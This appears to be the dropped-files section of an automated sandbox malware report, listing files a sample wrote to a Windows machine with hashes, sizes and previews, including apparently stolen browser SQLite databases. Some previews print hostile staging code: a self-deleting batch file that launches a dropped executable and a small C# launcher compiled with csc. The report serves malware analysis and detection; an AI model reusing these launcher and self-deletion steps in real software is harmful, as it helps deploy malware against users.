File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209886597424439
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
MD5:	EFD26666EAE0E87B32082FF52F9F4C5E
SHA1:	603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
SHA-256:	67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
SHA-512:	28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RESD666.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6d0, 10 symbols, created Mon Dec 16 13:55:02 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	4.614405162222992
Encrypted:	false
SSDEEP:	24:HJK9AaLz5d8H9mWwKOAYN8lmxT0uZhNB+h9PNnqpdt4+lEbNFjMyi0+ecN:9aLz5d8Q1K1Y6lmuulB+hnqXSfbNtmh7
MD5:	5290235FDFF102138E75DE874E39F507
SHA1:	84A9CB9113EDFF0A3FE550D415945B2487737AAB
SHA-256:	81152093140C68A4FCA69F73DD3FCA050274A25FFDB2B2A93420D1F2B009D1E2
SHA-512:	BC7BA7582D1C7FBF138484E4579EF870A29887411ED3A0C24F65D35C086A4F09D69DB26F1CE8FC6C17AD9FA288A7B40CC0B978C70F8B0D991A2CF2861A187AEC
Malicious:	false
Reputation:	unknown
Preview:	L...61`g.............debug$S........X...................@..B.rsrc$01............................@..@.rsrc$02........8...................@..@........[....c:\Program Files (x86)\Microsoft\Edge\Application\CSCAD9FC9E56B4E44A3B8144428FC2A7230.TMP....................q.QK.......N..........5.......C:\Users\user\AppData\Local\Temp\RESD666.tmp.-.<....................a..Microsoft (R) CVTRES.`.=..cwd.C:\Bridgecontainerserver.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...................... .......8.......................P.......................h.......................................................D...............................................D.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...8.....I.n.t.e.r.n.a.l.N.

C:\Users\user\AppData\Local\Temp\RESDBB5.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6dc, 10 symbols, created Mon Dec 16 13:55:04 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1940
Entropy (8bit):	4.621781569623021
Encrypted:	false
SSDEEP:	24:Hvm9hBH2wKOAYNslWxjkuZhNAPAtQPPAiPNnqpdt4+lEbNFjMyi0+SK8:+B1K1YqlWuulAotQPouqXSfbNtmh4
MD5:	C348416A489CF8DE014D4C9CAC75DBCE
SHA1:	8A2AA91D0FB73A68E29D20D761DEAC5BF09067EA
SHA-256:	E35A08CFE1A9AACF9DB0699538C0DE2E2E3CF11024DA539C2D81F78108F30783
SHA-512:	40BA52DBC0F5BE1B05B779BC0CC9E73187413A8BF32B3A8E907566E3095FCFBFDD366EC1BA258C11CD26929CC445060C91C80AF313DFF6DA26CF15206FF830AB
Malicious:	false
Reputation:	unknown
Preview:	L...81`g.............debug$S........T...................@..B.rsrc$01............................@..@.rsrc$02........H...................@..@........W....c:\Users\user\AppData\Local\Temp\1016093001\CSCF52E109CF7C34EE59E7558C84C69E5BD.TMP................,b..0....S.A.-\|B..........5.......C:\Users\user\AppData\Local\Temp\RESDBB5.tmp.-.<....................a..Microsoft (R) CVTRES.`.=..cwd.C:\Bridgecontainerserver.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...................... .......8.......................P.......................h.......................................................T...............................................T.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...@.....I.n.t.e.r.n.a.l.N.a.m.

C:\Users\user\AppData\Local\Temp\RESE79C.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6dc, 10 symbols, created Mon Dec 16 13:55:07 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1940
Entropy (8bit):	4.630477965355193
Encrypted:	false
SSDEEP:	24:Hum9hEDwXHhwKOAYNslWxjkuZhNOnxQnn2PNnqpdt4+lEbNFjMyi0+SK8:p6wXqK1YqlWuulgxQnKqXSfbNtmh4
MD5:	E258B07357F5E0B58E3EE1C04AD266C0
SHA1:	7277599B1DD2C935DE85AC3DF85CECD3DAB21F79
SHA-256:	F8F2117D2F77E0631F1DE712E07182A774ACA72DED630717BF1DFB656BF20F19
SHA-512:	251BBD3FB4E07791EB978024E53E22DEFE8CFF1CBB2984DC691535E65221C452F7EF0815842A1CAC181E7FE891383B50B3B2BB375D2194BF4D195DC5E7DC41DC
Malicious:	false
Reputation:	unknown
Preview:	L...;1`g.............debug$S........T...................@..B.rsrc$01............................@..@.rsrc$02........H...................@..@........W....c:\Users\user\AppData\Local\Temp\1016094001\CSCBC27F4A5D6E544C999D1D8F55EBB7E2B.TMP..................GK...lB.15.}............5.......C:\Users\user\AppData\Local\Temp\RESE79C.tmp.-.<....................a..Microsoft (R) CVTRES.`.=..cwd.C:\Bridgecontainerserver.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...................... .......8.......................P.......................h.......................................................T...............................................T.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...@.....I.n.t.e.r.n.a.l.N.a.m.

C:\Users\user\AppData\Local\Temp\RF8NX0YG4PUTM41CGFP36UTXEI9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1822720
Entropy (8bit):	7.946269241591785
Encrypted:	false
SSDEEP:	49152:/i7b2qdjAjGhlEBDQFrdjVytT94WtF7oOKL:xqp+BsHV4KWtF7oO
MD5:	E328245A28E6A2CDB14BDE4D150A342E
SHA1:	C768975F4FE3DEED8D1CC677C8ADA7395A394865
SHA-256:	03B0EE461554C9ECFCC906404CAF95247F39959AD36FFF125722870F27EFA0B5
SHA-512:	4D6AD474E969CB85B29BC6319F6E84151D3267CC2ED28B22FB1B11D7E28597C98A1B2405EACE53CA42CB1C5F77723FCA3BF03BDAFF243861593D00BF57E84AC0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.............................i...........@...........................j......6....@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... .....$......\|..............@...adligwjc.0....O..*...~..............@...fnzkdoce......i.....................@....taggant.0....i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Z0WaW5NSsz

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209886597424439
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
MD5:	EFD26666EAE0E87B32082FF52F9F4C5E
SHA1:	603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
SHA-256:	67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
SHA-512:	28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZF4SglSiwv

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.4838561897747224
Encrypted:	false
SSDEEP:	3:mlM0IaGn:woL
MD5:	C46019FBE9E183930247C042DDC02A27
SHA1:	15A7CB4CC9D9C9E080E703C96A2EEE7DC6C303F7
SHA-256:	250696712C65C88F99D4358E0B7F6A9A91D7EE07001AE22B817062E4DDFF361B
SHA-512:	3683BFEB398585C9BF124CCFC419D6C44709B45C0DDBEA7BFBE8EEED7357A96EE3E645E71508C0748BD325F0322CD76FF7824B426432CE9FFDE69CFCD2AB8568
Malicious:	false
Reputation:	unknown
Preview:	SeC5U6wDDEaXsmQfAG4YI06Wp

C:\Users\user\AppData\Local\Temp\ZIWKLfxaU4

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_egqjrihj.q2y.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fquzwgfv.fxk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fyhitopf.g2t.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_km1vdyfq.swk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l4mv04yq.kad.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l4p4kjt0.nnu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_soqxmwrx.yoz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xl5z3lp4.tdc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3004928
Entropy (8bit):	6.528311787834165
Encrypted:	false
SSDEEP:	49152:FfD0T39ZF8R21uPbS2fH/F9xcThPDf0x:FfD0TfFsquPbSQH/FncZI
MD5:	842E251CA1E3A812356248EBE8154F16
SHA1:	EFB511D328CF0A7690E62CBB89ADEEBC07DDDB3C
SHA-256:	14CACA276F869DCC33A065B67A826A79C27CB0EC54407DA220ED26CD045D941A
SHA-512:	2EAF72C87CDA80FCC64463EDA29AD62E21818BAC52105AF0B95C5504C935E7F480CBA518575FAD8F80D0748E11E41641063CB8B6E61DA8584271E1068D7F3B74
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.......-...@.................................W...k.......D................... n1..............................m1..................................................... . ............................@....rsrc...D...........................@....idata ............................@...rqqcubuq..........................@...amadlxue.....p1.......-.............@....taggant.0....1.."....-.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\dgKup0njeM.bat

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	230
Entropy (8bit):	5.174988214724343
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DE1CHhJ23fRrbKOZG1CHhJ23fO9qn:HTg9uYDEzprEvn
MD5:	94D65812F2B99DB248C9DEA91DC66BF4
SHA1:	393F3F51966459E3F41B639B4FB5F76D8945D363
SHA-256:	AF27CA366B858CA843420B5378CC404381296B78E1F90324AED7E946F0745AC5
SHA-512:	9BBABA9C75020CC977A9DBF5B605AEF2CC3B200F01BEE05DD84863C3A0DA9828B1636139ED600BF6268336E15347C2130913D149434D3451ADF5F6C2A39EA009
Malicious:	false
Reputation:	unknown
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\dgKup0njeM.bat"

C:\Users\user\AppData\Local\Temp\hWE0p767Tb

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8475592208333753
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBOF30AvJ3qj/880C4pwE1:TeAFawNLopFgU10XJBORJ6px4p7
MD5:	BE99679A2B018331EACD3A1B680E3757
SHA1:	6E6732E173C91B0C3287AB4B161FE3676D33449A
SHA-256:	C382A020682EDEE086FBC56D11E70214964D39318774A19B184672E9FD0DD3E0
SHA-512:	9CFE1932522109D73602A342A15B7326A3E267B77FFF0FC6937B6DD35A054BF4C10ED79D34CA38D56330A5B325E08D8AFC786A8514C59ABB896864698B6DE099
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\k4xagTXUeL

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vwuajvyx\vwuajvyx.0.cs

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	415
Entropy (8bit):	5.201901962529856
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBLyVIffiFkMSf+eBLyprSiFkD:JNVQIbSfh+VkiFkMSfh+pDFkD
MD5:	871C16829C2580D56319099E7AB082F3
SHA1:	2F8443C0991A18EE0CD9A57BB6999F892054F9D6
SHA-256:	7D3AFB98AA8F341C3186F3A7A4FD7D5B06DA819E5C03EAEAEF51487E5895A4A1
SHA-512:	46D19CD79A9C1A850E35D23E4EB3C4BA72FF73AAE533481CDBE343FC42A944F0E09DEBD91521E2171FD619A637D48D8E1F4CEC50CAF529FE084553DD84E13C31
Malicious:	false
Reputation:	unknown
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\vwuajvyx\vwuajvyx.cmdline

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	5.245752771486709
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRPCHhJ23fcMIcuBzxsjGZxWE8oCHhJ23f7JTHV9:Hu7L//TRBVIRcQDDdHV9
MD5:	E8DF0F7C291684BE24211249C11AA16F
SHA1:	03B834CB802A1FDBAE7DBD87CE0F493BB6F18ED5
SHA-256:	1045D0464725E9FFFDD1C93D0E8FCB052ABC584BD9F314578BBDA0EC96E363D7
SHA-512:	4E7A7B8E6431BC50075589257CFD7E797DE008A7C1F404717894018DBEB9F858970608603EDC6BDB0FB41B5DDEDC31BD79D4BBB299CDEB1BDF1353BE4D2D1DA2
Malicious:	false
Reputation:	unknown
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\vwuajvyx\vwuajvyx.0.cs"

C:\Users\user\AppData\Local\Temp\vwuajvyx\vwuajvyx.out

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (347), with CRLF, CR line terminators
Category:	modified
Size (bytes):	768
Entropy (8bit):	5.31537803558216
Encrypted:	false
SSDEEP:	12:lzMI/u7L//TRBVIRcQDDdHV4KaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:WI/un/VBVotDDdHV4Kax5DqBVKVrdFAw
MD5:	1472B5E8152EF9EE5C20D4B4A5AACB6B
SHA1:	AD51349F09E307F25B92A1143523E8ED47213B6D
SHA-256:	94C056F75C35AE2789F45F22A4C6FE18E69A94C71BFEAE59DEDB670E80741CE5
SHA-512:	6D7A1CEE82D3B2B2AACF387A37F67CA0A092A8F0C947F6C8073F7F69D796EC37082A88BD23A37D5E690B71C603CC715EA7D6ACC567D43E2C9A1505CA3A44A51E
Malicious:	false
Reputation:	unknown
Preview:	.C:\Bridgecontainerserver> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\vwuajvyx\vwuajvyx.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\yAKNihh03Q

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

